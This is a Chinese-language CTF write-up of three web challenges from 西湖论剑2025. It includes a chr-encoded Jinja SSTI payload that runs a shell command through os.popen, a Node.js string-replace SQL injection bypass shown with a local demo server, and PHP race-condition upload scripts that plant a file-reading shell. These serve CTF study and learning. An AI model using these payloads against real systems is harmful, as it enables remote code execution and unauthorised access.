西湖论剑2025

Rank-I | SV

唯一做出来一道55

  1. 起来黑盒,有点懵逼
  2. dirsearch开扫,发现/console,查看响应包,发现js代码执行(xss),however没用啊
    1. xss并无法302,在浏览器执行后相当于输入url,重定向没有用
    2. 此处没有别的用户,xss没有作用
  3. 马萨卡要http头注入来访问/console?但是没有多余信息,ctf中没有见过
  4. 这种可以报错看看,/login和/cpass的post请求置空,发现熟悉的flask报错
    1. 有phone=1686682318,password=Happy_news_admin,但是没有用bro
    2. user_input有黑名单,这里phone的黑名单,干啥勒
      1. pic
      2. 直接执行命令,可以试试ssti这里是
  5. 14,ok,是模板注入,绕过只需要绕过/即可了,首先想到编码+拼接,ascii可以
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    import requests

    host="http://139.155.126.78:26575"
    path_root="/"
    proxies = {
    "http": "http://localhost:8080",
    }

    session = requests.Session()

    ### 登录
    path_login="/login"
    login_data = {
    "phone_number": "{%set chr=g.pop.__globals__['__builtins__'].chr%}{{g.pop.__globals__.__builtins__['__import_'+'_']('o'+'s').popen(chr(110)+chr(108)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(102)+chr(49)+chr(52)+chr(57)).read()}}"
    }
    r = session.post(host+path_login,data=login_data,proxies=proxies, timeout=5)
    path_cpass="/cpass"
    cpass_data = {
    "password": "123456"
    }
    r = session.post(host+path_cpass,data=cpass_data,proxies=proxies, timeout=5)
    print(r.text)


    # helper.py
    def string_to_chr_expression(input_string):
    # 使用列表推导式和ord()函数来获取每个字符的ASCII值
    # 然后构建所需的字符串格式
    return '+'.join(f'chr({ord(char)})' for char in input_string)
    input_str="nl /flagf149"
    result = string_to_chr_expression(input_str)
    print(result)

sqli or not | 复习

  1. 代码审计,绕过逗号直接用url即可
  2. 把’”\都给过滤了要来注入应该是不行了,不支持宽字节这里(宽字节也是用于转义的,这里不符合)
  3. 结合题眼描述,从node.js切入,绕过’
    1. 在json.parse()处,这里没有(可以绕过,来着),在这里就开摆了,下次不敢了

    2. 在replace(),绕过

      1. 这里还是要细心下来的wc,就算看到了可能也想不到啊
      2. 本地起一个看看嘻嘻
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      // npm install express
      // node test.js
      // test.js
      var express = require("express");

      // 创建Express应用程序实例
      var app = express();

      // 定义路由
      var router = express.Router();
      router.get("/", (req, res, next) => {
      if (req.query.info) {
      if (req.url.match(/\,/gi)) {
      res.end("hacker1!");
      }
      var info = JSON.parse(req.query.info); // 注意:这里存在原型污染风险
      if (info.username && info.password) {
      var username = info.username;
      var password = info.password;
      if (
      info.username.match(/\'|\"|\\/) ||
      info.password.match(/\'|\"|\\/)
      ) {
      res.end("hacker2!");
      }
      var sql =
      "select * from userinfo where username = '{username}' and password = '{password}'";
      sql = sql.replace("{username}", username);
      sql = sql.replace("{password}", password);
      res.end(sql);
      } else {
      res.end("please input the data");
      }
      } else {
      res.end("please input the data");
      }
      });

      // 使用路由器
      app.use("/", router);

      // 监听8081端口
      app.listen(8081, () => {
      console.log("Server is running on port 8081");
      });

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      import requests

      host="http://localhost:8081"
      path_root="/"

      session = requests.Session()

      ### 1. 发送username和password
      inject_params={
      # json格式输入
      # "info": '{"username":"abc","password":"admin"}'
      "info": '{"username":"$` or 1=1 --","password":"admin"}'

      }
      r = session.get(host+path_root,params=inject_params,timeout=5)
      print(r.text)

      # 输出,成功绕过
      # select * from userinfo where username = 'select * from userinfo where username = ' or 1=1 --' and password = 'admin'

Rank-U | 复习

  1. 看wp是随意登录?bp随便爆

  2. 上传文件无法访问,很正常的竞争思路,早知道看这题了呜呜呜,学习一下川大脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    # upload.py
    import requests
    while True:
    url = "http://xxx/admin/index.php" # 更新 URL
    cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"} # 更新 PHP 会话 ID

    data = (
    "------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n"
    "Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n"
    "Content-Type: application/octet-stream\r\n\r\n"
    "<?php echo file_get_contents('/flag');?>\r\n" # 改为新代码
    "------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n"
    )

    # 发送 POST 请求,只保留 Cookie
    r = requests.post(url, cookies=cookies, data=data)

    # 提取文件名并保存到本地文件
    try:
    filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]
    with open('name.txt', 'w') as file:
    file.write(filename.strip()) # 使用 strip() 去除可能的换行符
    except IndexError:
    print("无法提取文件路径或文件上传失败")



    # access.py
    import requests
    url0 = 'http://xxx/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'

    while True:
    # 直接读取文件内容,去除换行符并逐行处理
    with open('name.txt', 'r') as file:
    for filename in file:
    shellpath = url0 + filename.strip() # 使用 strip() 去除换行符

    # 发起 GET 请求
    r1 = requests.get(shellpath)

    # 如果状态码不是 404,输出状态码和响应文本
    if r1.status_code != 404:
    print(r1.status_code)
    print(r1.text)

Summary

Rank-I

其实是很简单的ssti题目

  • fenjing
  • sh, curl, wget getshell
  • ssti
  1. 找到方向最重要
    1. fuzz测试:输入可能有ssti,xss这些
    2. 获取信息:dirsearch,报错信息,http返回头信息
    3. 方向尝试:题眼,假设评级(比如这里一开始xss想要重定向,应该想到没用的)
  2. 黑名单绕过
    1. 明确目的:这里其实已经确定了/,编码+拼接了,因为chr没有跑去反弹了,但是也不行,虽然可以通外网,这里顺下去引入chr就好了

sqli or not

逻辑不难,差一点点,不过方向对了,说明还没废掉

  • node cheat sheet
  1. 查找特殊字符
    1. 也可以是拼接,先想象一下在跳过
  2. 查找资料
    1. 现有方向最重要
    2. wp+论坛 -> 没找到(把握下没找到的度)再官方文档

Rank-U

完全没看(,看了wp感觉无话可说

  • php文件竞争上传

Ref

  1. 川大爷是真的nb
  2. ssti不错
  3. 清晰的一匹